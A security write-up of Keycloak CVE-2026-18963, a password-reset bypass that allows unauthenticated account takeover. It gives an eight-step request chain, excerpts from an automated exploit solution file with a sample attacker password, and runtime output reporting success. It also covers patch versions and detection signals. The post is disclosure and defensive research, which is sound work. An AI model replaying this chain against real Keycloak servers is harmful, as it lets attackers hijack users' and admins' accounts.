# Keycloak CVE-2026-18963: account takeover with no email in the loop

> A walkthrough of CVE-2026-18963, an unauthenticated account takeover in Keycloak 26.0.0 through 26.7.1. The reset-credentials flow trusts a boolean note and skips the email gate, so anyone who knows a username sets a new password.

CVE-2026-18963 (GHSA-4gv3-mc9p-5wqc) is an unauthenticated account takeover in Keycloak 26.0.0 through 26.7.1. Anyone who knows a username in a vulnerable realm can reset that account's password. There is no email click or action token, and no prior access. This post walks the bug and the full request chain, then the lab we used to verify it.

## The target

We built the lab from the official image, and ran two containers: `quay.io/keycloak/keycloak:26.7.1` (vulnerable) and `26.7.2` (fixed), so we could watch the chain die on the patched build. The vulnerable instance runs in start-dev mode on port 8080.

A realm named `poc` holds the victim. Three settings decide whether this CVE applies, and they are all visible in the admin console:

1. Forgot password is enabled in the realm. That is `resetPasswordAllowed`, the switch under Realm settings, Login.
2. The reset-credentials flow is the default built-in: choose user, then send the reset email. No extra OTP or WebAuthn step after the email.
3. The victim has an email address, and a client can start the login flow. The client needs Direct Access Grants only for the final proof step.

The client's OAuth flow type does not matter. The bypass works with the standard code flow with PKCE and with the implicit flow, because the bug sits in the reset flow, not in token issuance.

Realm settings, Login tab:

<img src="/blog/keycloak-cve-2026-18963/settings-login-forgot-password.webp?v=3" alt="Realm settings, Login tab: Forgot password is on" width="847" height="363" />

The reset-credentials flow, still the stock one:

<img src="/blog/keycloak-cve-2026-18963/settings-reset-flow.webp?v=3" alt="The default reset credentials flow: Choose User, Send Reset Email, Reset Password" width="847" height="553" />

The client, `poc-client`, with Direct Access Grants checked:

<img src="/blog/keycloak-cve-2026-18963/settings-client-capability-config.webp?v=3" alt="poc-client capability config: Standard flow and Direct access grants are on" width="560" height="673" />

And the victim, `alice`, with a verified email:

<img src="/blog/keycloak-cve-2026-18963/settings-user-alice.webp?v=3" alt="alice user details: email alice@poc.test, email verified on" width="895" height="701" />

That is the whole surface. Nothing else is required.

## How reset is supposed to work

The forgot-password flow exists to prove two things: that the person requesting the reset is the account owner, and that the new password comes from that owner. Keycloak does this with a one-time action token. The attacker submits a username, the server mails a link, and only a request carrying the token from that link is allowed to reach the new-password form.

The attack short-circuits the second half. The email is still sent. The token just never matters.

## The bug

A boolean authentication note, `AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED`, is meant to record whether the "choose an authenticator" screen was shown. Posting `tryAnotherWay` to the reset flow sets it to true. On vulnerable builds, `ResetCredentialEmail.action()` reads that note and, when it is set, proceeds as if the email step already succeeded. No `EXECUTE_ACTION_TOKEN` is checked. The flow moves to `UPDATE_PASSWORD`, and the attacker is standing at the new-password form.

The telltale signature is `SEND_RESET_PASSWORD` followed by `UPDATE_PASSWORD` with no action token in between.

## The chain

Eight requests. The first three are what a browser would do. The rest exist because Keycloak mints a fresh session code on every render, and the attacker has to keep up.

1. GET the reset-credentials form. The response carries the auth session cookies (`AUTH_SESSION_ID`, `KC_AUTH_SESSION_HASH`), the session code, the choose-user execution id, and the server-assigned tab id. Capture all of it.

<img src="/blog/keycloak-cve-2026-18963/attack-reset-form.webp?v=2" alt="The forgot-password username form" width="1200" height="850" />

2. POST `tryAnotherWay=on` with those values. This sets the vulnerable note and renders the select-authenticator screen, which mints a fresh session code.

3. POST the username. The flow runs choose-user, fires `SEND_RESET_PASSWORD`, and forks. The attacker gets the generic "email shortly" page. A normal attacker stops here.

<img src="/blog/keycloak-cve-2026-18963/attack-email-shortly.webp?v=2" alt="The email gate: the generic message the attacker receives" width="1200" height="850" />

4. POST a dead session code. Keycloak answers with the page-expired screen, and the continue link on it reveals the current execution: the reset-credential-email execution id the attacker has to target.

5. Re-enter that execution through the authenticate path. The stale note is still set, so the select-authenticator screen renders again, and this time the fresh session code is bound to the email execution.

6. POST to the email execution with no `authenticationExecution` field. On a vulnerable build `ResetCredentialEmail.action()` returns success and the flow redirects to the update-password form. No mail link was ever clicked.

<img src="/blog/keycloak-cve-2026-18963/attack-update-password.webp?v=2" alt="The update-password form, reached with no action token" width="1200" height="850" />

7. Complete the form with a new password.

<img src="/blog/keycloak-cve-2026-18963/attack-account-updated.webp?v=2" alt="Account updated" width="1200" height="850" />

8. Log in with the attacker-chosen password. A direct-grant login returns an access token, which is the takeover, proven.

<img src="/blog/keycloak-cve-2026-18963/proof-account-console.webp?v=2" alt="Account console, signed in as alice" width="1280" height="900" />

Two details are easy to miss. The dead session code in step 4 is deliberate: it is what forces the page-expired screen that leaks the execution id. And the re-show in step 5 is required because the page-expired screen does not hand out a usable fresh code; only re-rendering the selector mints one bound to the right execution.

We also tried to collapse steps 2 and 3 into one POST, sending `tryAnotherWay` and the username together. Keycloak treats `tryAnotherWay` as its own form action and ignores the username in the same request, so the email never fires. The two-step order is not an artifact of the solution file; the server enforces it.

## How the solution encodes this

That chain is not a one-off. It is written once, as a plain text solution, and the runtime replays it against any target that matches the three settings above. A solution is data, not code: a chain of steps, each with captures and a test. The runtime never executes anything from the file. It replays the steps and reports what the asserts found.

The file starts with the header and the four values that change per target:

```text
id: keycloak/cve-2026-18963-reset-credentials-bypass
ref: CVE-2026-18963

vars:
  realm: poc
  client: poc-client
  username: alice
  newpass: Pwn3d!2026
```

Everything else is discovered at run time. The first step reads the reset form and captures what a browser would have to copy by hand: the session code, the tab id, the choose-user execution id, and both auth session cookies. A capture pulls a value out of the response by shape (a query parameter, a cookie), and later steps use it as `{var}`:

```text
http start-flow
  get "/realms/{realm}/login-actions/reset-credentials?client_id={client}&tab_id=tab1"
  capture the query parameter "session_code" as sc
  capture the query parameter "tab_id" as tab
  capture the query parameter "execution" as exec_cu
  capture the cookie "AUTH_SESSION_ID" as sid
  capture the cookie "KC_AUTH_SESSION_HASH" as hash
  expect "kc-reset-password-form" in the response
```

The two session cookies are replayed on every request by a solution-level `cookies:` block, so later steps never repeat them. No execution id is hardcoded. The page-expired screen in step 4 is a capture target, and the re-show in step 5 is a step like any other. The bypass step carries the assert that matters:

```text
http bypass
  post "/realms/{realm}/login-actions/reset-credentials?session_code={sc4}&execution={exec_mail}&client_id={client}&tab_id={tab}&client_data={cd}" as a raw form with "x=0"
  expect "password-new" in the response
```

Run it, and the runtime prints one line per step and the result:

```text
$ exploitmatic keycloak-cve-2026-18963-reset-credentials-bypass.txt http://localhost:8080

start-flow         PASS  contains "kc-reset-password-form"
selector           PASS  contains "select-authenticator"
submit-user        PASS  contains "email shortly"
discover-exec      PASS  contains "loginContinueLink"
re-show-selector   PASS  contains "select-authenticator"
bypass             PASS  contains "password-new"
set-password       PASS  contains "Account updated"
verify-login       PASS  regex "\"access_token\":\"[^\"]{10,}\""

8/8 verified
```

The result comes from the tests, never from the file. The full solution, with every capture and comment, lives in the [solutions repository](https://github.com/exploitmatic/solutions) as `http/keycloak-cve-2026-18963-reset-credentials-bypass.txt`, and the [format reference](https://exploitmatic.com/docs/solution/format/) documents the grammar line by line.

## Verification

The same chain doubles as a regression test. Against 26.7.1 every step passes, 8/8 verified, and alice's password is actually changed: the old one stops working and the new one logs in. Against 26.7.2 the chain gets through the early steps and fails exactly at the re-show and the bypass. The fix in 26.7.2 (and 26.4.15, 26.6.6) binds the selector note to the execution id and requires the action token, so the stale-note trick no longer lands on the password form.

## Why the master realm is not an easy target

The same chain would work against any user in a realm with forgot-password enabled, including an admin, because the bug lives in the flow, not in a user type. The master realm ships with reset disabled by default, which is why the admin console has no forgot-password link at all. That setting is the first line of defense, and it holds.

## Remediation

Upgrade to 26.7.2, 26.4.15, or 26.6.6. Review any realm where forgot-password is on and the reset flow is the stock one. Watch for reset sessions that reach `UPDATE_PASSWORD` without an `EXECUTE_ACTION_TOKEN`, and for password-change events that follow a reset with no mail-delivery evidence behind them.

The solution that encodes this chain is the file shown above, and the two containers are what the runtime verified end to end: 8/8 on the vulnerable build, and a clean failure on the fixed one.